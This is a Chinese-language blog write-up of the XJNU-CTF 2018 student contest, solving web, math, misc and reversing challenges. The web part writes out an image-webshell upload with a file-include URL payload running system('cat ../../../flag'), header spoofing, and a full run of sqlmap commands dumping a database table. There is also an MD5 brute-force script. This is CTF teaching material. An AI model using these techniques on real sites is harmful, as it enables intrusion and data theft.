XJNU-CTF 2018 writeup  v1.0

XJNU CTF writeup  v1.0

 

前幾天學弟說學校舉辦了ctf,由於有一些瞭解,也比較有自己的看法,因此就打算來做一做他們ctf 的題,這是做出來的一部分ctf的題,希望想要入門的朋友能夠借鑑參考,瞭解思路和ctf中的套路。

WEB 100

打開連接之後是可以上傳文件

嘗試幾次後發現,只能上傳圖片文件,而且有一個非常重要的地方就是,看下他的網址是

沒有錯,這是include,那麼就是說可以上傳圖片木馬了。

準備好圖片,準備好木馬new1.php,然後創建一個文件a.bat,裏面的內容就是cmd,這樣我們可以在本文夾內打開cmd窗口。

接下來雙擊a.bat,cmd下輸入copy misc100.jpg/b+New1.php new.jpg

然後上傳帶有木馬的new.jpg文件

這個時候就可以構造payload了

幾次嘗試之後可以得到

http://ctf.xjnu.edu.cn:666/index.php?file=upload/new.jpg&pass=system(%22cat%20../../../flag%22);

 

Web 20

進去之後是你不屬於這裏。看來ip不對,這個時候需要僞造ip,

用burn suit截獲,添加

出現

把login的內容改掉

又出現

然後在qq瀏覽器,F12選擇移動設備模式,把設備換成iPhone X

刷新,把User-Agent:的內容也改掉

返回了一個空白頁,查看源代碼,看到一行註釋

於是到burn suit裏面看返回的包,可以找到flag

 

Web10

進去之後是

很明顯是sqlmap注入,測試一下

果然,於是SQlmap走起

查數據庫版本

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --batch

查出是mysql數據庫

查數據庫

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --current-db  --batch

當前數據庫是web1

查數據表

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables  --batch

可以看到flag表

查看flag表的列名

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --columns  --batch

查詢列的內容,得到flag。

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag -C "flag" --dump --batch

 

 

Base10

打開之後

查看源代碼

所以遮住的數字是。。。圖片旋轉一下,怎麼樣?

歐克。數字是87

取前五位

構造flag

flag{Math_is_Here_c7e12!}

 

Base20

這個,,,百度上搜一下題目先

嗯。。。。

https://www.theguardian.com/science/alexs-adventures-in-numberland/2015/apr/13/how-to-solve-albert-bernard-and-cheryls-birthday-maths-problem

 

嗯。。。。

所以

flag{Th0_Jack_Birth_Is_July_16}

 

Base30

編程題。。。這個數值比較大的話,適合python

sum=0
for num in range(0,1000000000):
       if num%3==0:
              sum+=num
       else:
              if num%5==0:
                     sum+=num
print(sum)

233333333166666668

base 40

666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d

嗯。。。http://www.bejson.com/convert/ox2str/

flag{Just_t3st_h4v3_f4n_hahaha_6666!}

 

Base 50

題目:小明常用密碼是hash 是5bc76f3f319865431dcab801bbce47a1 現在 他只知道明文密碼的前四位是xjnu
中間是66****88 後三位是ctf 請幫他算出 明文密碼是啥
flag{明文} 

那還是直接跑python腳本吧

#coding=utf8

from hashlib import md5
from hashlib import sha1
from hashlib import sha224
from hashlib import sha384
from hashlib import sha512
import hashlib
 
#__all__ = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac')
#Python計算字符串的hash值
def hashForString(method,srcbyte):
    #將字符串和漢字轉化成byte類型
    srcbyte = srcbyte.encode(encoding='utf-8')
      
    #new(name, data=b'')
    #testnew = hashlib.new(method,data=srcbyte).hexdigest()
    #print(testnew)
    
    if method == 'md5': 
        m = md5()
        m.update(srcbyte)
        srcbyte = m.hexdigest()
    elif method == 'sha1':
        s = sha1()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha224':
        s = sha224()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha384':
        s = sha384()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha512':
        s = sha512()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    return srcbyte
CSet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_-+=/*<>:;\'"[]{}|'
for num1 in CSet:
    for num2 in CSet:
        for num3 in CSet:
            for num4 in CSet:
                str1="xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf"
                #print(str1)
                if(hashForString("md5",str1)=="5bc76f3f319865431dcab801bbce47a1"):
                    print("xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf")
    print(num1)
print("完")

 

 

MISC 10

簽到題,關注以後。。。發個私信

Misc 15

打開之後是

然後用notepad++打開搜一下flag,嗯。

 

Misc 20

 

Binwalk先跑一下

有兩張圖片。那就把5B74之前的內容用winhex刪掉。也可以用foremost

但是我沒有那個東西。

 

Misc30

老樣子,用notepad++打開,

亂碼,但是如果換一下編碼的話,

Hi你來到了這裏說明你很想知道答案,但是我這裏只有中文,沒有你想要的答案,參考馬克思主義基本原理概論這本書的第三十五頁第二個字到第五個字的拼音組成就是你想要的答案,騷年加油!

。。。卒

補充:最後這四個字是:去僞存真.在2018版的馬克思主義原理概論這本書裏纔有.

 

Misc40

 

是一個word文檔,裏面是一些內容。

全選,加個背景色

 

然而並沒有什麼用。

但是。不要慌。

萬能的notepad++

Misc 80

是一個二維碼

掃出來沒有什麼有用的東西。

先用notepad++打開看一下把

拉到最後是一串數字。數字最大是7,應該是8進制,

上python腳本

#coding=utf-8
import chardet

a=b"\146\154\141\147\173\110\141\166\145\137\171\060\125\137\120\171\137\163\143\162\151\160\164\137\117\164\143\137\124\157\137\124\145\156\137\101\163\143\151\151\041\175"
#a = b"\345\260\274\345\217\244\346\213\211\346\226\257\350\265\265\345\233\233"
#判斷當前字符串的格式(編碼類型)
fencoding = chardet.detect(a)  

print(fencoding)
#編碼類型爲打印出來的fencoding編碼類型
a = a.decode('utf-8')
print(a)

flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}

Re50

 

是一個入門級別的re,還是很不錯的。

放到IDA裏面,IDA還是強大!

查了一下彙編語言,指針的位置,放值

看來,後面的值就是flag

於是16進制解碼

666c61677b52655F31735F53305F43304F4C7D

flag{Re_1s_S0_C0OL}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章